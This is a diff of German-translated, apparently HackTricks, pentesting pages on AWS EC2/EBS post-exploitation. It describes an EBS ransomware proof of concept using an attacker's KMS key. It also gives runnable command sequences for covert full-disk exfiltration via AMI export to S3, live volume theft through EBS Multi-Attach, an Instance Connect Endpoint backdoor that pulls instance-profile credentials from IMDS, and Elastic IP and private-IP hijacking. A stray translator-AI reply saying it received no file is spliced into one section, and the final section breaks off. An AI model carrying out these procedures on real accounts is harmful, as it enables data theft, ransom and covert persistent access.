-### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
+### Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dafür entwickelt wurde, **in öffentlichen oder privaten Amazon Machine Images (AMIs) nach sensiblen Informationen zu suchen**. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, das Einhängen ihrer Volumes und das Scannen nach potenziellen secrets oder sensiblen Daten.
 
-### EBS-Snapshot teilen
+### EBS Snapshot freigeben
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.
+Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Leichtigkeit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
 
-Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'.
+Zuerst, aus einem 'attacker' AWS-Account, erstelle einen customer managed key in KMS. In diesem Beispiel lasse ich AWS die Key-Daten verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Key-Daten außerhalb der Kontrolle von AWS behalten. Ändere die key policy so, dass jeder AWS-Account Principal den Key verwenden darf. Für diese key policy hieß der Account 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Sc
 ]
 }
 ```
-Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichkeit zu ermöglichen, ein EBS-Volume zu verschlüsseln:
+Die Key-Policy-Regel muss folgendes aktiviert haben, um sie zum Verschlüsseln eines EBS-Volumes verwenden zu können:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichke
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Jetzt mit dem öffentlich zugänglichen Schlüssel. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.
+Jetzt mit dem öffentlich zugänglichen Key zur Verwendung. Wir können ein 'victim' Account verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim' Accounts sind das Ziel unserer Verschlüsselung; dieser Angriff erfolgt unter der Annahme einer Kompromittierung eines hochprivilegierten AWS-Accounts.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Ähnlich wie im S3-Ransomware-Beispiel wird dieser Angriff Kopien der angehängten EBS-Volumes mithilfe von Snapshots erstellen, den öffentlich verfügbaren Schlüssel aus dem 'Angreifer'-Konto verwenden, um die neuen EBS-Volumes zu verschlüsseln, dann die ursprünglichen EBS-Volumes von den EC2-Instanzen trennen und löschen und schließlich die Snapshots löschen, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Ähnlich dem S3 ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker' Account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht abschließend die snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verbleiben.
+Das Ergebnis sind nur noch verschlüsselte EBS-Volumes, die im Account verfügbar sind.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Es ist auch erwähnenswert, dass das Skript die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
+Außerdem ist zu beachten, dass das Script die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu detachen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen die Richtlinienregel 'Outside Encryption' aus der Schlüsselrichtlinie.
+Als Nächstes kehre zur Key-Policy im 'attacker' Account zurück und entferne die 'Outside Encryption' Policy-Regel aus der Key-Policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück u
 ]
 }
 ```
-Warten Sie einen Moment, bis die neu festgelegte Schlüsselrichtlinie propagiert ist. Kehren Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
+Warte einen Moment, bis die neu gesetzte Key-Policy propagiert ist. Kehre dann zum 'Opfer'-Konto zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird es einfach fehlschlagen und für immer vom 'pending'-Zustand zurück in den 'stopped'-Zustand wechseln, da das angehängte EBS-Volume mit dem Schlüssel nicht entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.
+Aber wenn du versuchst, die EC2-Instance mit dem verschlüsselten EBS-Volume wirklich wieder zu starten, schlägt das einfach fehl und der Status wechselt von 'pending' zurück zu 'stopped' — dauerhaft — da das angehängte EBS-Volume nicht mit dem Key entschlüsselt werden kann, weil die Key-Policy dies nicht mehr erlaubt.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
+Das ist das verwendete python-Skript. Es nimmt AWS creds für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den zu verwendenden Key zur Verschlüsselung. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im zielgerichteten AWS-Konto angehängt sind, stoppt dann jede EC2-Instance, hängt die ursprünglichen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im zielgerichteten 'Opfer'-Konto nur noch verschlüsselte EBS-Volumes übrig. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SKRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Du kannst sie mit dem verwendeten KMS-Key wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte dich darauf hinweisen, dass es sich letztlich um einen ransomware PoC handelt.
 ```
 import boto3
 import argparse
@@ -492,6 +557,6 @@ main()
 ```
 ## Referenzen
 
-- [Pentest Partners – Wie man Dateien in AWS mit SSM überträgt](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md

@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+Missbrauche EC2 AMI export-to-S3, um die gesamte Festplatte einer EC2-Instanz als ein einziges rohes Image in S3 zu exfiltrieren und anschließend out-of-band herunterzuladen. Dies vermeidet das Teilen von Snapshots und erzeugt ein Objekt pro AMI.
+
+## Anforderungen
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` auf der Ziel-Instanz/AMI
+- S3 (gleiche Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt auf dem Schlüssel, der die AMI-Snapshots schützt (falls EBS-Standardverschlüsselung aktiviert ist)
+- S3-Bucket-Policy, die dem `vmie.amazonaws.com` Service Principal vertraut (siehe unten)
+
+## Auswirkungen
+- Vollständige Offline-Akquisition der Root-Festplatte der Instanz in S3, ohne Snapshots zu teilen oder zwischen Accounts zu kopieren.
+- Erlaubt unauffällige Forensik an Anmeldeinformationen, Konfigurationen und Dateisysteminhalten aus dem exportierten Raw-Image.
+
+## How to Exfiltrate via AMI Store-to-S3
+
+- Hinweise:
+- Der S3-Bucket muss sich in derselben Region wie die AMI befinden.
+- In `us-east-1` darf `create-bucket` NICHT `--create-bucket-configuration` enthalten.
+- `--no-reboot` erstellt ein crash-konsistentes Image, ohne die Instanz zu stoppen (heimlicher, aber weniger konsistent).
+
+<details>
+<summary>Schritt-für-Schritt-Befehle</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Beweisbeispiel
+
+- `describe-store-image-tasks` Übergänge:
+```text
+InProgress
+Completed
+```
+- S3-Objektmetadaten (Beispiel):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Teilweiser Download beweist Zugriff auf das Objekt:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Erforderliche IAM-Berechtigungen
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (im Export-Bucket): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Wenn AMI-Snapshots verschlüsselt sind, das Entschlüsseln für den von den Snapshots verwendeten EBS KMS-Schlüssel erlauben
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md

@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+EBS Multi-Attach missbrauchen, um von einem laufenden io1/io2-Datenvolume zu lesen, indem dasselbe Volume an eine vom Angreifer kontrollierte Instanz in derselben Availability Zone (AZ) angehängt wird. Das schreibgeschützte Mounten des geteilten Volumes ermöglicht sofortigen Zugriff auf in Benutzung befindliche Dateien, ohne Snapshots zu erstellen.
+
+## Voraussetzungen
+- Zielvolume: io1 oder io2, erstellt mit `--multi-attach-enabled` in derselben AZ wie die Angreifer-Instanz.
+- Berechtigungen: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` auf dem Zielvolume/den Ziel-Instanzen.
+- Infrastruktur: Nitro-basierte Instance-Typen, die Multi-Attach unterstützen (C5/M5/R5-Familien usw.).
+
+## Hinweise
+- Schreibgeschützt mit `-o ro,noload` mounten, um Korruptionsrisiken zu verringern und Journal-Replays zu vermeiden.
+- Auf Nitro-Instanzen exponiert das EBS NVMe-Gerät einen stabilen `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` Pfad (Hilfe unten).
+
+## Prepare a Multi-Attach io2 volume and attach to victim
+
+Example (create in `us-east-1a` and attach to the victim):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+Auf dem Opfer format/mount das neue Volume und schreibe sensible Daten (zur Veranschaulichung):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Dasselbe Volume an die Angreifer-Instanz anhängen
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Schreibgeschützt auf dem Angreifer einhängen und Daten lesen
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Erwartetes Ergebnis: Dieselbe `VOL_ID` zeigt mehrere `Attachments` (victim und attacker) und der attacker kann Dateien lesen, die vom victim geschrieben wurden, ohne einen Snapshot zu erstellen.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Hilfsfunktion: NVMe-Gerätepfad anhand der Volume ID finden</summary>
+
+Auf Nitro-Instanzen verwenden Sie den stabilen by-id-Pfad, der die Volume ID einbettet (den Bindestrich nach `vol` entfernen):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Auswirkungen
+- Sofortiger Lesezugriff auf Live-Daten auf dem Ziel-EBS-Volume, ohne snapshots zu erzeugen.
+- Wenn es read-write gemountet ist, kann der attacker das victim filesystem manipulieren (Risiko einer Beschädigung).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md

@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche EC2 Instance Connect Endpoint (EIC Endpoint), um eingehenden SSH-Zugriff auf private EC2-Instanzen (no public IP/bastion) zu erlangen, indem:
+- Erstellen eines EIC Endpoint inside the target subnet
+- Eingehenden SSH-Zugriff auf die Ziel-SG von der EIC Endpoint-SG erlauben
+- Einfügen eines kurzlebigen SSH-Public-Keys (gültig ~60 Sekunden) mit `ec2-instance-connect:SendSSHPublicKey`
+- Öffnen eines EIC-Tunnels und Pivoting zur Instanz, um instance profile credentials aus IMDS zu stehlen
+
+Impact: stealthy remote access path into private EC2 instances that bypasses bastions and public IP restrictions. Der Angreifer kann das instance profile übernehmen und im Account agieren.
+
+## Requirements
+- Berechtigungen für:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Ziel-Linux-Instanz mit SSH-Server und EC2 Instance Connect aktiviert (Amazon Linux 2 oder Ubuntu 20.04+). Default users: `ec2-user` (AL2) oder `ubuntu` (Ubuntu).
+
+## Variables
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## EIC Endpoint erstellen
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Verkehr vom EIC Endpoint zur Zielinstanz zulassen
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Ephemeren SSH key injizieren und tunnel öffnen
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Post-Exploitation-Nachweis (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+Ich habe die Datei/den Inhalt nicht erhalten. Bitte füge hier den Markdown-Inhalt aus src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md ein, damit ich den relevanten englischen Text ins Deutsche übersetzen kann.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Verwende die gestohlenen creds lokal, um die Identität zu verifizieren:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Bereinigung
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Hinweise
+> - Der injizierte SSH-Schlüssel ist nur für ~60 Sekunden gültig; sende den Schlüssel direkt bevor du den Tunnel/SSH öffnest.
+> - `OS_USER` muss zur AMI passen (z. B. `ubuntu` für Ubuntu, `ec2-user` für Amazon Linux 2).

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md

@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Zusammenfassung
+
+Missbrauche `ec2:AssociateAddress` (und optional `ec2:DisassociateAddress`), um eine Elastic IP (EIP) von einer victim instance/ENI zu einer attacker instance/ENI neu zuzuordnen. Dies leitet eingehenden Traffic, der an die EIP gerichtet ist, zum attacker um und erlaubt dem attacker außerdem, ausgehenden Traffic mit der allowlisted public IP zu erzeugen, um externe Partner-Firewalls zu umgehen.
+
+## Voraussetzungen
+- Target EIP allocation ID im selben Account/VPC.
+- Attacker instance/ENI, die Sie kontrollieren.
+- Berechtigungen:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` auf der EIP allocation-id und auf der attacker instance/ENI
+- `ec2:DisassociateAddress` (optional). Hinweis: `--allow-reassociation` hebt die vorherige Zuordnung automatisch auf.
+
+## Angriff
+
+Variablen
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) EIP des Opfers zuweisen oder identifizieren (Lab weist eine neue zu und hängt sie an das Opfer an)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Prüfen, ob die EIP aktuell auf den Zielservice zeigt (z. B. durch Überprüfung des Banners)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) EIP dem Angreifer wieder zuordnen (wird automatisch vom Opfer getrennt)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Verifiziere, dass die EIP jetzt auf den attacker service aufgelöst wird
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Beweise (verschobene Zuordnung):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Auswirkungen
+- Inbound impersonation: Der gesamte Verkehr an die hijacked EIP wird an die attacker instance/ENI zugestellt.
+- Outbound impersonation: Attacker kann Traffic initiieren, der scheinbar von der allowlisted public IP stammt (nützlich, um Partner-/externe Source-IP-Filter zu umgehen).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md

@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche `ec2:UnassignPrivateIpAddresses` und `ec2:AssignPrivateIpAddresses`, um die sekundäre private IP einer victim ENI zu stehlen und sie auf eine attacker ENI im selben subnet/AZ zu verschieben. Viele interne Dienste und security groups steuern den Zugriff anhand spezifischer privater IPs. Durch das Verschieben dieser sekundären Adresse gibt sich der attacker auf L3 als der vertrauenswürdige Host aus und kann allowlisted services erreichen.
+
+Prereqs:
